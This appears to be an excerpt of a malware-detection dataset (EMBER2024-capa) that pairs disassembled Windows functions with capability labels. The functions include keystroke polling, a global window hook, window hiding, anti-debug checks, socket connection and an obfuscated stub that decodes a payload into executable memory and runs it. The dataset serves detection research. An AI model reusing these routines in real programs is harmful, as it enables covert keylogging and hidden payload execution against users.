joyce8/EMBER2024-capa huggingface dataset:
Function at 0x43a9bc
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov eax, dword [0x465848]
cmp byte [eax + 0xc], 0
je 0x43ab29
push 0x8000
call sub.kernel32.dll_SetErrorMode
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x43ab22
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x466bb8], 0
jne 0x43aa10
push 0x43ab30
call sub.kernel32.dll_GetModuleHandleA_2
mov ebx, eax
push 0x43ab38
push ebx
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x466bb8], eax
cmp dword [0x46498c], 0
jne 0x43ab0b
push 0x43ab48
call sub.kernel32.dll_LoadLibraryA
mov dword [0x46498c], eax
cmp dword [0x46498c], 0
je 0x43ab0b
push 0x43ab54
mov eax, dword [0x46498c]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x466bbc], eax
push 0x43ab64
mov eax, dword [0x46498c]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x466bc0], eax
push 0x43ab78
mov eax, dword [0x46498c]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x466bc4], eax
push 0x43ab90
mov eax, dword [0x46498c]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x466bc8], eax
push 0x43aba8
mov eax, dword [0x46498c]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x466bcc], eax
push 0x43abbc
mov eax, dword [0x46498c]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x466bd0], eax
push 0x43abd4
mov eax, dword [0x46498c]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x466bd4], eax
push 0x43abec
mov eax, dword [0x46498c]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x466bd8], eax
push 0x43ac08
mov eax, dword [0x46498c]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x466bdc], eax
push 0x43ac14
mov eax, dword [0x46498c]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x466be0], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43ab29
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_SetErrorMode
ret
pop ebx
pop ecx
pop ebp
ret

Function at 0x43e73c
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
mov ebx, edx
mov word [ebp - 2], ax
mov eax, ebx
call fcn.00404234
push 0
xor eax, eax
mov al, byte [ebp - 2]
push eax
call sub.user32.dll_MapVirtualKeyA
shl eax, 0x10
test eax, eax
je 0x43e78b
push pe_nt_image_headers32
lea edx, [ebp - 0x102]
push edx
push eax
call sub.user32.dll_GetKeyNameTextA
mov eax, ebx
lea edx, [ebp - 0x102]
mov ecx, pe_nt_image_headers32
call fcn.0040449c
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4465cc
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x44661c]
test si, 4
je 0x4465e0
or bl, 1
test si, 8
je 0x4465ea
or bl, 4
test si, 1
je 0x4465f4
or bl, 8
test si, 2
je 0x4465fe
or bl, 0x10
test si, 0x10
je 0x446608
or bl, 0x20
push 0x12
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x446617
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret
Function at 0x446620
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x446658]
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x446639
or bl, 1
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x446648
or bl, 4
test esi, 0x20000000
je 0x446653
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret

Function at 0x44cc5c
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
test dl, dl
je 0x44cc6e
add esp, 0xfffffff0
call fcn.0040382c
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.0041b31c
mov eax, dword [0x465570]
mov dword [eax + 4], ebx
mov dword [eax], 0x44d000
mov eax, dword [0x46557c]
mov dword [eax + 4], ebx
mov dword [eax], 0x44d00c
mov eax, ebx
call fcn.0044d018
push 0
call sub.user32.dll_GetKeyboardLayout
mov dword [ebx + 0x3c], eax
mov dl, 1
mov eax, dword [0x41137c]
call fcn.00403498
mov dword [ebx + 0x4c], eax
mov dl, 1
mov eax, dword [0x41137c]
call fcn.00403498
mov dword [ebx + 0x50], eax
mov dl, 1
mov eax, dword [0x41137c]
call fcn.00403498
mov dword [ebx + 0x54], eax
mov dl, 1
mov eax, dword [0x41137c]
call fcn.00403498
mov dword [ebx + 0x58], eax
mov dl, 1
mov eax, dword [0x41137c]
call fcn.00403498
mov dword [ebx + 0x7c], eax
push 0
call sub.user32.dll_GetDC
mov esi, eax
push 0x5a
push esi
call sub.gdi32.dll_GetDeviceCaps
mov dword [ebx + 0x40], eax
push esi
push 0
call sub.user32.dll_ReleaseDC
mov eax, dword [ebx + 0x58]
push eax
mov eax, 0x4494e0
push eax
push 0
push 0
mov eax, dword [0x465694]
mov eax, dword [eax]
call eax
mov dl, 1
mov eax, dword [0x41cce4]
call fcn.0041e3b8
mov dword [ebx + 0x84], eax
mov dl, 1
mov eax, dword [0x41cce4]
call fcn.0041e3b8
mov dword [ebx + 0x88], eax
mov dl, 1
mov eax, dword [0x41cce4]
call fcn.0041e3b8
mov dword [ebx + 0x80], eax
mov eax, ebx
call fcn.0044d438
mov eax, dword [ebx + 0x84]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x44d314
mov eax, dword [ebx + 0x88]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x44d314
mov eax, dword [ebx + 0x80]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x44d314
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x44cdab
call fcn.00403884
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x44d0f8
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x44d2a3
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x34], 0
jne 0x44d284
mov dl, 1
mov eax, dword [0x41186c]
call fcn.00403498
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
mov eax, dword [ebp - 4]
add eax, 0x38
call fcn.00404234
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x44d273
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.0043ad1c
test al, al
je 0x44d266
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x44d2b4
lea eax, [ebp - 0x254]
call fcn.00408e28
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x44d266
xor eax, eax
push ebp
push 0x44d25f
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], pe_nt_image_headers32
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x44d2ec
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x44d248
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.0040449c
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov ebx, dword [eax]
call dword [ebx + 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x3c]
jne 0x44d248
mov eax, dword [ebp - 4]
add eax, 0x38
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.0040449c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44d266
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x44d169
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov byte [eax + 0x1d], 0
mov dl, 1
call fcn.004159b4
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x34]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44d2aa
lea eax, [ebp - 0x260]
call fcn.00404234
ret

Function at 0x44dbd8
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x466bfc]
cmp byte [eax + 0xa5], 0
jne 0x44dc49
cmp dword [0x466c14], 0
jne 0x44dc0a
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x44db94
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x466c14], eax
cmp dword [0x466c10], 0
jne 0x44dc25
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x466c10], eax
cmp dword [0x466c18], 0
jne 0x44dc49
push esp
push 0
push 0
push 0x44db38
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread
mov dword [0x466c18], eax
pop edx
ret
Function at 0x44dd40
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
test dl, dl
je 0x44dd57
add esp, 0xfffffff0
call fcn.0040382c
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.0041b31c
mov eax, dword [0x465684]
cmp word [eax + 2], 0
jne 0x44dd7f
mov eax, dword [0x465684]
mov dword [eax + 4], ebx
mov dword [eax], fcn.0044f374
mov eax, dword [0x465710]
cmp word [eax + 2], 0
jne 0x44dd99
mov eax, dword [0x465710]
mov dword [eax + 4], ebx
mov dword [eax], fcn.0044f56c
mov byte [ebx + 0x34], 0
mov dl, 1
mov eax, dword [0x41137c]
call fcn.00403498
mov dword [ebx + 0x90], eax
mov dl, 1
mov eax, dword [0x41137c]
call fcn.00403498
mov dword [ebx + 0xa8], eax
xor eax, eax
mov dword [ebx + 0x60], eax
xor eax, eax
mov dword [ebx + 0x84], eax
mov dword [ebx + 0x5c], 0x80000018
mov dword [ebx + 0x78], 0x1f4
mov byte [ebx + 0x7c], 1
xor eax, eax
mov dword [ebx + 0x80], eax
mov dword [ebx + 0x74], 0x9c4
mov byte [ebx + 0x88], 0
mov byte [ebx + 0x9d], 1
mov byte [ebx + 0xb4], 1
mov dl, 1
mov eax, dword [0x41d764]
call fcn.00424d90
mov esi, eax
mov dword [ebx + 0x98], esi
push 0x44df20
mov eax, dword [0x4655c8]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconA
mov edx, eax
mov eax, esi
call fcn.00425160
mov eax, dword [ebx + 0x98]
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], 0x44fadc
push pe_nt_image_headers32
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x4655c8]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetModuleFileNameA_1
lea eax, [ebp - 0x101]
push eax
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 0x101]
mov dl, 0x5c
call fcn.0040a730
test eax, eax
je 0x44de8e
lea edx, [eax + 1]
lea eax, [ebp - 0x101]
call fcn.00408784
lea eax, [ebp - 0x101]
mov dl, 0x2e
call fcn.0040a758
test eax, eax
je 0x44dea2
mov byte [eax], 0
lea eax, [ebp - 0x101]
inc eax
push eax
call sub.user32.dll_CharLowerA
lea eax, [ebx + 0x8c]
lea edx, [ebp - 0x101]
mov ecx, pe_nt_image_headers32
call fcn.0040449c
mov eax, dword [0x4654dc]
cmp byte [eax], 0
jne 0x44ded6
mov eax, ebx
call fcn.0044e048
mov byte [ebx + 0x59], 1
mov byte [ebx + 0x5a], 1
mov byte [ebx + 0x5b], 1
mov byte [ebx + 0x9e], 1
xor eax, eax
mov dword [ebx + 0xa0], eax
mov eax, ebx
call fcn.0044fcb8
mov eax, ebx
call fcn.004505f8
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x44df16
call fcn.00403884
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x44e2bc
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x466bfc]
cmp dword [eax + 0x30], 0
je 0x44e366
cmp dword [ebx + 0x94], 0
jne 0x44e360
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x44e24c
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x44e360
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x44e326
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x44e360
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.00413a1c
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x44e335
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x44ee44
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x44ee79
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00404324
jmp 0x44ee86
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00404288
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x44fe94
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x44fed5
mov eax, esi
call fcn.00436498
test al, al
je 0x44fed5
mov eax, dword [ebx + 0x84]
call fcn.00436194
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x44fed5
push 0
mov eax, dword [ebx + 0x84]
call fcn.00436194
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret

Function at 0x45356c
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
mov ebx, eax
cmp dword [ebx + 0x10], 0xca
jne 0x45359a
mov eax, ebx
call fcn.00454024
cmp dword [ebx + 0x3c], 0
je 0x453593
mov dword [ebx + 0x10], 0xcf
mov eax, 1
pop ebx
ret
mov dword [ebx + 0x10], 0xcb
cmp dword [ebx + 0x10], 0xcb
jne 0x45360b
mov edx, dword [ebx + 0x1ac]
cmp dword [edx + 0x10], 0
je 0x4535fd
cmp dword [ebx + 8], 0
je 0x4535bc
mov eax, ebx
mov edx, dword [eax + 8]
call dword [edx]
mov eax, ebx
mov edx, dword [eax + 0x1ac]
call dword [edx]
test eax, eax
jne 0x4535ce
xor eax, eax
pop ebx
ret
cmp eax, 2
je 0x4535fd
cmp dword [ebx + 8], 0
je 0x4535af
cmp eax, 3
je 0x4535e1
dec eax
jne 0x4535af
mov edx, dword [ebx + 8]
inc dword [edx + 4]
mov ecx, dword [edx + 4]
mov eax, dword [ebx + 8]
cmp ecx, dword [eax + 8]
jl 0x4535af
mov edx, dword [ebx + 0x138]
add dword [eax + 8], edx
jmp 0x4535af
mov ecx, dword [ebx + 0x8c]
mov dword [ebx + 0x94], ecx
jmp 0x453629
cmp dword [ebx + 0x10], 0xcc
je 0x453629
mov eax, dword [ebx]
mov dword [eax + 0x14], 0x12
mov edx, dword [ebx + 0x10]
mov dword [eax + 0x18], edx
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov eax, ebx
call fcn.00453634
pop ebx
ret
Function at 0x401134
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
xor esi, esi
mov edi, dword [ebp + 8]
push ebx
mov eax, edi
push 6
shr eax, 4
inc eax
movzx eax, ax
push eax
push 0
call sub.KERNEL32.dll_FindResourceA
test eax, eax
je 0x4011a6
push eax
push 0
call sub.KERNEL32.dll_LoadResource
push eax
call sub.KERNEL32.dll_LockResource
mov ebx, eax
test ebx, ebx
je 0x40119c
mov ecx, edi
xor edx, edx
and ecx, 0xf
cmp edx, ecx
jae 0x401181
movzx eax, word [ebx]
inc edx
lea ebx, [ebx + eax*2 + 2]
cmp edx, ecx
jb 0x401175
movzx eax, word [ebx]
inc eax
push eax
call fcn.00401012
mov esi, eax
movzx eax, word [ebx]
inc eax
push eax
push esi
push edi
push 0
call sub.USER32.dll_LoadStringA
pop ebx
lea esp, [ebp - 0xc]
mov eax, esi
pop ebx
pop esi
pop edi
pop ebp
ret
xor ebx, ebx
jmp 0x401166

Function at 0x401330
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
mov esi, dword [ebp + 8]
mov ebx, dword [ebp + 0xc]
push 0
call sub.OLE32.dll_CoInitialize
push 1
push 0
push 0
push ebx
push 0
push esi
call sub.SHELL32.DLL_ShellExecuteA
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
jmp 0x4041d0
jmp dword [sym.imp.OLE32.dll_CoUninitialize]

Function at 0x40135c
Capabilities:
Create process on windows

Disassembly:
push ebp
xor eax, eax
mov ebp, esp
mov ecx, 0x11
cld
push edi
lea edx, [ebp - 0x64]
lea edi, [ebp - 0x64]
sub esp, 0x60
rep stosd dword es:[edi], eax
mov eax, dword [ebp + 0xc]
mov word [ebp - 0x34], ax
lea eax, [ebp - 0x14]
push eax
push edx
push 0
push 0
push 0
push 0
push 0
push 0
push dword [ebp + 8]
push 0
mov dword [ebp - 0x64], 0x44
mov dword [ebp - 0x38], 1
call sub.KERNEL32.dll_CreateProcessA
mov edi, eax
test eax, eax
jne 0x4013b0
mov eax, edi
mov edi, dword [ebp - 4]
leave
ret
push reloc.KERNEL32.dll_GetLastError
push dword [ebp - 0x14]
call sub.USER32.dll_WaitForInputIdle
push dword [ebp - 0x10]
call sub.KERNEL32.dll_CloseHandle
push dword [ebp - 0x14]
call sub.KERNEL32.dll_CloseHandle
jmp 0x4013a9
Function at 0x401598
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x14
mov eax, dword [ebp + 0x10]
mov word [ebp - 0x1e], ax
cmp dword [ebp + 8], 0
je 0x4017a3
cmp dword [ebp + 0xc], 0
je 0x4017a3
push str.SSLEAY32.dll
call sub.KERNEL32.dll_LoadLibraryA
mov ecx, 1
mov edx, dword [ebp + 8]
test eax, eax
mov dword [edx], eax
je 0x40161b
xor edi, edi
mov ebx, 0x4050c0
mov eax, dword [ebp + 8]
mov esi, dword [ebx + edi*8 + 4]
push dword [ebx + edi*8]
push dword [eax]
call sub.KERNEL32.dll_GetProcAddress
mov dword [esi], eax
mov eax, dword [ebx + edi*8 + 4]
cmp dword [eax], 0
je 0x4017a3
inc edi
cmp edi, 0xc
jbe 0x4015d6
mov eax, dword [ebp + 8]
add eax, 4
push eax
push 0x202
call sub.WS2_32.DLL_WSAStartup
mov ecx, 2
test eax, eax
je 0x401625
lea esp, [ebp - 0xc]
mov eax, ecx
pop ebx
pop esi
pop edi
pop ebp
ret
push dword [ebp + 0xc]
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0
call sub.WS2_32.DLL_inet_addr
mov dword [ebp - 0x18], eax
inc eax
je 0x401784
cmp dword [ebp - 0x18], 0xffffffff
je 0x40177a
movzx eax, word [ebp - 0x1e]
push eax
mov word [ebp - 0x1c], 2
call sub.WS2_32.DLL_htons
mov word [ebp - 0x1a], ax
call dword [section..bss]
call dword [0x406010]
push eax
call dword [0x406020]
mov edx, dword [ebp + 8]
test eax, eax
mov ecx, 4
mov dword [edx + 0x194], eax
pop ebx
je 0x40161b
push 0
push 0x80000fff
push 0x20
push eax
call dword [0x4060c0]
push 0
mov eax, dword [ebp + 8]
push 0
push dword [eax + 0x194]
call dword [0x4060a0]
mov edx, dword [ebp + 8]
push dword [edx + 0x194]
call dword [0x406040]
mov edx, dword [ebp + 8]
add esp, 0x20
mov ecx, 5
test eax, eax
mov dword [edx + 0x198], eax
je 0x40161b
push 0
push 1
push 2
call sub.WS2_32.DLL_socket
mov ecx, 6
mov edx, eax
mov eax, dword [ebp + 8]
cmp edx, 0xffffffff
mov dword [eax + 0x19c], edx
je 0x40161b
push 0x10
lea eax, [ebp - 0x1c]
push eax
push edx
call sub.WS2_32.DLL_connect
mov ecx, 7
test eax, eax
jne 0x40161b
mov edx, dword [ebp + 8]
push dword [edx + 0x19c]
push dword [edx + 0x198]
call dword [0x406060]
pop edx
dec eax
pop ecx
mov ecx, 8
jne 0x40161b
push dword [ebp + 0xc]
push 0
mov eax, dword [ebp + 8]
push 0x37
push dword [eax + 0x198]
call dword [0x4060d0]
mov edx, dword [ebp + 8]
push dword [edx + 0x198]
call dword [0x406070]
xor ecx, ecx
add esp, 0x14
cmp eax, 1
setne cl
lea ecx, [ecx + ecx*8]
jmp 0x40161b
mov ecx, 3
jmp 0x40161b
push dword [ebp + 0xc]
call sub.WS2_32.DLL_gethostbyname
test eax, eax
je 0x401653
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x18], eax
jmp 0x401653
mov ecx, 1
jmp 0x40161b
Function at 0x401fee
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
lea edi, [ebp + 0xc]
sub esp, 0x410
mov esi, dword [ebp + 8]
test esi, esi
je 0x4020b0
xor ebx, ebx
cmp byte [esi], 0x7e
je 0x402072
push edi
lea eax, [ebx + esi]
push eax
xor ebx, ebx
lea eax, [ebp - 0x41c]
push eax
call sub.USER32.dll_wvsprintfA
push 0
push 0xffffffffffffffff
push 0xb1
push dword [0x4060b0]
call sub.USER32.dll_SendMessageA
lea eax, [ebp - 0x41c]
inc ebx
push eax
push 0
push 0xc2
push dword [0x4060b0]
call sub.USER32.dll_SendMessageA
cmp ebx, 2
mov byte [ebp - 0x41c], 0xd
mov byte [ebp - 0x41b], 0xa
mov byte [ebp - 0x41a], 0
jbe 0x402036
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
push 0xffffffffffffffff
mov ebx, 1
push 0
push 0xb1
push dword [0x4060b0]
mov byte [ebp - 0x41c], 0
call sub.USER32.dll_SendMessageA
lea eax, [ebp - 0x41c]
push eax
push 0
push 0xc2
push dword [0x4060b0]
call sub.USER32.dll_SendMessageA
jmp 0x40200f
mov eax, dword [ebp + 0xc]
mov dword [0x4060b0], eax
jmp 0x40206a

Function at 0x402cda
Capabilities:
Parse url

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x450
push dword [ebp + 8]
call fcn.00401232
mov ebx, eax
pop eax
test ebx, ebx
je 0x402d0f
push ebx
call fcn.00401056
cmp byte [ebx], 0
pop edi
jne 0x402d24
cmp byte [ebx], 0
je 0x402d19
push ebx
push dword [ebp + 8]
call sub.USER32.dll_SetWindowTextA
lea esp, [ebp - 0xc]
mov eax, ebx
pop ebx
pop esi
pop edi
pop ebp
ret
push ebx
xor ebx, ebx
call fcn.00401000
pop ecx
jmp 0x402d0f
cld
xor eax, eax
lea edi, [ebp - 0x45c]
mov ecx, 0xf
lea edx, [ebp - 0x45c]
rep stosd dword es:[edi], eax
push edx
lea eax, [ebp - 0x41c]
push 0
mov dword [ebp - 0x430], eax
push ebx
mov dword [ebp - 0x45c], 0x3c
mov byte [ebp - 0x41c], 0
mov dword [ebp - 0x42c], 0x401
call sub.KERNEL32.dll_lstrlenA
push eax
push ebx
call sub.WININET.DLL_InternetCrackUrlA
test eax, eax
je 0x402d01
mov eax, dword [ebp - 0x430]
cmp byte [eax], 0x2f
jne 0x402d01
mov eax, dword [ebp - 0x450]
sub eax, 3
cmp eax, 1
ja 0x402d01
mov byte [ebp - 0x41c], 0x20
mov edx, 1
cmp byte [ebp - 0x41b], 0
je 0x402dc5
mov al, byte [ebp + edx - 0x41c]
cmp al, 0x3f
je 0x402de5
cmp al, 0x2f
je 0x402de5
cmp al, 0x23
je 0x402de5
inc edx
cmp byte [ebp + edx - 0x41c], 0
jne 0x402da7
lea esi, [ebp - 0x41c]
mov edi, ebx
push esi
call fcn.00401056
push esi
call sub.KERNEL32.dll_lstrlenA
cld
lea ecx, [eax + 1]
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x402d01
mov byte [ebp + edx - 0x41c], 0
jmp 0x402dc5
Function at 0x4031ba
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ebx
mov ebx, dword [ebp + 8]
push 0x69
push ebx
call sub.USER32.dll_GetDlgItem
push eax
call fcn.004031aa
pop ecx
mov edi, eax
test eax, eax
je 0x40322f
push 1
push dword [ebp + 0xc]
push 1
push ebx
call fcn.00402bc0
add esp, 0x10
mov esi, eax
test eax, eax
je 0x40322f
push 0
push pe_nt_image_headers32
push 2
push 0
push 0
push 0x40000000
push eax
call sub.KERNEL32.dll_CreateFileA
mov ebx, eax
cmp eax, 0xffffffff
je 0x403228
push 0
lea eax, [ebp - 0x10]
push eax
push edi
call sub.KERNEL32.dll_lstrlenA
push eax
push edi
push ebx
call sub.KERNEL32.dll_WriteFile
push ebx
call sub.KERNEL32.dll_CloseHandle
push esi
call fcn.00401000
pop edx
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x1000839c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x100083ab
pop dword [ebp - 0x14]
mov eax, 0xce4e3671
sub eax, 0xbe4db2c6
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0xd77f34f
sub dword [ebp - 0x24], 0xbf25ae04
mov dword [ebp - 0x20], 0x9a92b5e7
add dword [ebp - 0x20], 0x97a0965e
mov dword [ebp - 0x1c], 0x923cc37c
sub dword [ebp - 0x1c], 0x45f07f4e
mov dword [ebp - 0x18], 0x39cb3ca8
add dword [ebp - 0x18], 0xc634c358
lea eax, [ebp - 0x24]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0x539e120d
sub dword [ebp - 0x24], 0xdf2ba8b7
mov dword [ebp - 0x20], 0x2de21bff
add dword [ebp - 0x20], 0x138a4576
mov dword [ebp - 0x1c], 0x5ba186e1
sub dword [ebp - 0x1c], 0xf8321a75
mov dword [ebp - 0x18], 0xf1297181
add dword [ebp - 0x18], 0xed68e7f
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, 0x91973ca6
add eax, 0x7e6c53ba
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x33f2f
push 0
call eax
mov ecx, 0x324a
mov edi, eax
mov esi, 0xb7873ea5
add esi, 0x587df95b
add esi, dword [ebp - 0x14]
mov ebx, 0x80209bb4
sub ebx, 0xfda50a5f
add dword [ebp - 8], edi
mov edx, dword [esi]
xor dword [ebp - 4], esi
sub edx, ebx
mov dword [edi], edx
sub dword [ebp - 0xc], edx
add edi, 4
add esi, 4
loop 0x100084c2
add eax, 0x518dde29
sub eax, 0x518d222e
xor ebx, ebx
add ebx, eax
add eax, 0xe1e1747c
sub eax, 0xe1e17477
mov ecx, 0xce431c1e
add ecx, 0x41bce3e2
add ecx, dword [ebp - 0x14]
call ebx
leave
ret